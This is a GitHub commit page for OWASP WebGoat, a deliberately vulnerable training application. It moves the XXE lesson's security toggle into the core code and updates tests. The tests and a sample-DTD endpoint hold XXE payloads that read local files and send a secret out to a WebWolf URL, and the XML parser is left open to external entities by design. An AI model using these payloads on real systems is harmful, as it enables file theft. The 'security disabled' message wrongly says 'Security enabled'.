Skip to content

Commit

Permalink
Move enabling security to WebGoat core and add resetting the lessons.
Browse files Browse the repository at this point in the history
We can use it for more lessons and showcase how to apply security directly from the source code.

Resolves: #1176
  • Loading branch information
nbaars committed Dec 20, 2021
1 parent 705ec85 commit ac4b06f
Show file tree
Hide file tree
Showing 10 changed files with 60 additions and 103 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -6,57 +6,28 @@

package org.owasp.webgoat.service;

import lombok.RequiredArgsConstructor;
import org.owasp.webgoat.i18n.Messages;
import org.owasp.webgoat.session.WebSession;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Date;
import java.util.Enumeration;
import java.util.List;

/**
* <p>SessionService class.</p>
*
* @author rlawson
* @version $Id: $Id
*/
@Controller
@RequiredArgsConstructor
public class SessionService {

/**
* Returns hints for current lesson
*
* @param session a {@link javax.servlet.http.HttpSession} object.
* @param request a {@link javax.servlet.http.HttpServletRequest} object.
* @return a {@link java.lang.String} object.
*/
@RequestMapping(path = "/service/session.mvc", produces = "application/json")
public @ResponseBody
String showSession(HttpServletRequest request, HttpSession session) {
StringBuilder sb = new StringBuilder();
sb.append("id").append(" = ").append(session.getId()).append("\n");
sb.append("created").append(" = ").append(new Date(session.getCreationTime())).append("\n");
sb.append("last access").append(" = ").append(new Date(session.getLastAccessedTime())).append("\n");
sb.append("timeout (secs)").append(" = ").append(session.getMaxInactiveInterval()).append("\n");
sb.append("session from cookie?").append(" = ").append(request.isRequestedSessionIdFromCookie()).append("\n");
sb.append("session from url?").append(" = ").append(request.isRequestedSessionIdFromURL()).append("\n");
sb.append("=====================================\n");
// get attributes
List<String> attributes = new ArrayList<String>();
Enumeration keys = session.getAttributeNames();
while (keys.hasMoreElements()) {
String name = (String) keys.nextElement();
attributes.add(name);
}
Collections.sort(attributes);
for (String attribute : attributes) {
String value = session.getAttribute(attribute) + "";
sb.append(attribute).append(" = ").append(value).append("\n");
}
return sb.toString();
private final WebSession webSession;
private final RestartLessonService restartLessonService;
private final Messages messages;

@RequestMapping(path = "/service/enable-security.mvc", produces = "application/json")
@ResponseBody
public String applySecurity() {
webSession.toggleSecurity();
restartLessonService.restartLesson();

var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled";
return messages.getMessage(msg);
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -5,8 +5,6 @@
import org.springframework.security.core.context.SecurityContextHolder;

import java.io.Serializable;
import java.sql.Connection;
import java.sql.SQLException;

/**
* *************************************************************************************************
Expand Down Expand Up @@ -39,9 +37,10 @@
*/
public class WebSession implements Serializable {

private static final long serialVersionUID = -4270066103101711560L;
private final WebGoatUser currentUser;
private Lesson currentLesson;
private static final long serialVersionUID = -4270066103101711560L;
private final WebGoatUser currentUser;
private transient Lesson currentLesson;
private boolean securityEnabled;

public WebSession() {
this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
Expand Down Expand Up @@ -73,4 +72,12 @@ public Lesson getCurrentLesson() {
public String getUserName() {
return currentUser.getUsername();
}

public void toggleSecurity() {
this.securityEnabled = !this.securityEnabled;
}

public boolean isSecurityEnabled() {
return securityEnabled;
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -60,4 +60,6 @@ not.empty=This field is required.
username.size=Please use between 6 and 10 characters.
username.duplicate=User already exists.
password.size=Password should at least contain 6 characters
password.diff=The passwords do not match.
password.diff=The passwords do not match.
security.enabled=Security enabled, you can try the previous challenges and see the effect!
security.disabled=Security enabled, you can try the previous challenges and see the effect!
Original file line number Diff line number Diff line change
Expand Up @@ -12,10 +12,14 @@

public class XXETest extends IntegrationTest {

private static final String xxe3 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
private static final String xxe3 = """
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
private static final String xxe4 = """
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
private static final String dtd7 = """
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
private static final String xxe7 = """
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";

private String webGoatHomeDirectory;
private String webwolfFileDir;
Expand All @@ -39,8 +43,13 @@ public void xxeSecure() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = getWebGoatServerPath();
webwolfFileDir = getWebWolfServerPath();
RestAssured.given().when().relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/xxe/applysecurity"));
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/enable-security.mvc"))
.then()
.statusCode(200);
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -83,11 +83,7 @@ public AttackResult addComment(HttpServletRequest request, @RequestBody String c
}

try {
boolean secure = false;
if (null != request.getSession().getAttribute("applySecurity")) {
secure = true;
}
Comment comment = comments.parseXml(commentStr, secure);
Comment comment = comments.parseXml(commentStr);
if (CONTENTS.contains(comment.getText())) {
comment.setText("Nice try, you need to send the file to WebWolf");
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -89,11 +89,11 @@ protected Collection<Comment> getComments() {
* XmlMapper bean defined above will be used automatically and the Comment class can be directly used in the
* controller method (instead of a String)
*/
protected Comment parseXml(String xml, boolean secure) throws JAXBException, XMLStreamException {
protected Comment parseXml(String xml) throws JAXBException, XMLStreamException {
var jc = JAXBContext.newInstance(Comment.class);
var xif = XMLInputFactory.newInstance();

if (secure) {
if (webSession.isSecurityEnabled()) {
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -68,11 +68,7 @@ public AttackResult createNewUser(HttpServletRequest request, @RequestBody Strin
if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {
String error = "";
try {
boolean secure = false;
if (null != request.getSession().getAttribute("applySecurity")) {
secure = true;
}
Comment comment = comments.parseXml(commentStr, secure);
Comment comment = comments.parseXml(commentStr);
comments.addComment(comment, false);
if (checkSolution(comment)) {
attackResult = success(this).build();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,6 @@
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
Expand Down Expand Up @@ -66,15 +65,10 @@ public class SimpleXXE extends AssignmentEndpoint {

@PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) throws Exception {
public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) {
String error = "";
try {
boolean secure = false;
if (null != request.getSession().getAttribute("applySecurity")) {
secure = true;
}
Comment comment = comments.parseXml(commentStr, secure);
//System.err.println("Comment " + comment);
var comment = comments.parseXml(commentStr);
comments.addComment(comment, false);
if (checkSolution(comment)) {
return success(this).build();
Expand Down Expand Up @@ -103,21 +97,12 @@ public String getWebGoatHomeDirectory() {
@RequestMapping(path = "/xxe/sampledtd", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getSampleDTDFile() {
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
+ "<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n"
+ "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n"
+ "%all;";
}

@GetMapping(path="/xxe/applysecurity",produces=MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String setSecurity(HttpServletRequest request) {

String applySecurity = (String) request.getSession().getAttribute("applySecurity");
if (applySecurity == null) {
request.getSession().setAttribute("applySecurity", "true");
}
return "xxe security patch is now applied, you can try the previous challenges and see the effect!";
return """
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:replace-this-by-webgoat-temp-directory/XXE/secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>">
%all;
""";
}

}
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,6 @@ public class User {

private String username = "";
private String password = "";
private String email = "";

public String getPassword() {
return password;
Expand All @@ -47,12 +46,4 @@ public void setUsername(String username) {
this.username = username;
}

public String getEmail() {
return email;
}

public void setEmail(String email) {
this.email = email;
}

}
4 changes: 2 additions & 2 deletions webgoat-lessons/xxe/src/main/resources/html/XXE.html
Original file line number Diff line number Diff line change
Expand Up @@ -221,8 +221,8 @@ <h6 class="text-muted time">24 days ago</h6>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:XXE_static_code_analysis.adoc"></div>
<br/>
<a id="submitlink" class="btn btn-primary" href="" onclick="javascript:$('#patchbutton').load('/WebGoat/xxe/applysecurity');return false;"><span id="patchbutton">Apply XXE security patch</span></a>
<a id="submitlink" class="btn btn-primary" href="" onclick="javascript:$('#patchbutton').load('/WebGoat/service/enable-security.mvc');return false;"><span id="patchbutton">Apply XXE security patch</span></a>
</div>

</body>
</html>
</html>

0 comments on commit ac4b06f

Please sign in to comment.